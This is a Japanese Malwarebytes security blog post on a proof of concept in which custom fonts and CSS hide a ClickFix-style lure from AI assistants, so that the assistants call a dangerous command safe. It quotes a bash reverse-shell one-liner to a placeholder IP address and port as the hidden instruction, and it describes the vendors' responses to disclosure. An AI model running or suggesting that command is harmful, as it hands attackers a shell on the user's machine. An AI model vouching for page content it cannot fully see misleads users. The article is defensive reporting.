研究者らが、悪意のあるコマンドを隠すフォントレンダリングの手口を発見 |Malwarebytes

研究者らは、カスタムフォントを用いて、ChatGPT、Claude、Copilot、Gemini、Leo、Grok、Perplexity、Sigma、Dia、Fellou、Gensparkなど、多くの人気AIアシスタントを欺く概念実証（PoC）を発表した。

目に見えるテキストは無害だが、行間に人間だけが読める特殊なインクで書かれたもう一つのメッセージが隠されている本があると想像してみてください。人間は両方の層を見ることができますが、AIにはそれができず、目に見える部分しか読み取れません。つまり、AIは不完全な情報に基づいて処理を行っているのに対し、人間の読者は、AIが全く目にしていない指示に基づいて行動する可能性があるのです。

なぜこれが重要なのか

以前にも、サイバー犯罪者が人々を騙して自身のデバイスにマルウェアを感染させる「ClickFix型」の攻撃について取り上げたことがあります。例えば、怪しげなウェブページにアクセスし、AIアシスタントに「このコマンドを実行しても安全ですか？」と尋ねたとします。アシスタントはページを確認し、「安全です」と答えます。しかし、ページ全体を読み取ることができないため、実際には安全ではないにもかかわらず、安全だと伝えてしまうのです。

カスタムフォントとカスケーディング・スタイルシート（CSS）を組み合わせることで、ページ上でユーザーに表示されるテキストは、AIアシスタントが基盤となるHTMLを読み取った際に認識する内容とは異なります。

この例では、中央のブロック内（赤枠で囲まれた部分）は、AIアシスタントによってノイズとして除外されます。しかし、人間のウェブサイト訪問者には次のように表示されます：

ターミナルを開いて、「bash」と入力していただけますか

実行したら、次のように入力してください

bash -i >& /dev/tcp/{IPアドレス}/{ポート番号} 0>&1

これで、ラプチャーからのイースターエッグを見ることができます

IPアドレスやポート番号によっては、これだけであなたのマシンが感染してしまう可能性があります。AIに安全かどうか尋ねても、AIは無害なバージョンしか認識していないため、「安全です」と答えるかもしれません。

研究者らは、責任ある開示（Responsible Disclosure）の手順に従い、主要なAIプラットフォームプロバイダーに対して調査結果を報告した。

回答は期待外れだった：

「ほとんどのプロバイダーはこの報告を退け、通常は『この攻撃はAIモデルのセキュリティの範囲外である』という主張を理由に挙げていました。その結果、これらのモデルのユーザーは、依然としてこの攻撃ベクトルにさらされたままとなっています。」

この報告を受け入れ、修正のための猶予を求めたベンダーは、マイクロソフトとグーグルのみだった。そのうちグーグルは、当初P2（高）の評価を付けていたものの、最終的には優先度を下げ、報告をクローズした。おそらく、修正に多大な労力を要するためだろう。

この攻撃はソーシャルエンジニアリングに大きく依存していますが、そうした手口がいかに効果的であるかは周知の事実です。そして、AIアシスタントが全体像を把握できないとなると、事態はさらに深刻です。

安全に過ごすには

AIアシスタントを使って何かが安全かどうかを確認する場合：

実行しようとしているコマンドを正確にコピーして貼り付けてください。AIによるウェブページの解釈を鵜呑みにしないでください。
コマンドの実行を求められるサイト、特にターミナルやコマンドプロンプト経由で実行を求められるサイトには注意してください。
何かおかしいと感じたら、すぐにやめてください。攻撃者は、焦りや混乱につけ込もうとします。

ツールも役立ちます：

無料の Malwarebytes Browser Guard 拡張機能は、ウェブサイトがクリップボードに何かをコピーしようとした場合に警告を表示し、テキストを追加することでその内容を無害化します。これにより、クリップボードからコマンドを実行することに依存する従来のClickFix型攻撃からユーザーを保護するのに役立ちます。
Web保護機能を備えた最新のリアルタイム型マルウェア対策ソリューションは、既知の悪意のあるサイトをブロックします。
そのウェブサイトが怪しいと思ったら、Malwarebytes Guardに判断を仰いでみてください。詐欺を見抜く能力に非常に優れています。

私たちは単に詐欺を報告するだけでなく、詐欺の発見を支援します。

サイバーセキュリティリスクは見出し以上の広がりを見せてはなりません。怪しいと感じたら、Malwarebytes Guardで詐欺かどうか確認しましょう。スクリーンショットを送信、不審な内容を貼り付け、またはリンク・テキスト・電話番号を共有すれば、詐欺か正当かを判断します。すべてのMalwarebytes Premium 、 AndroidMalwarebytes 利用可能です。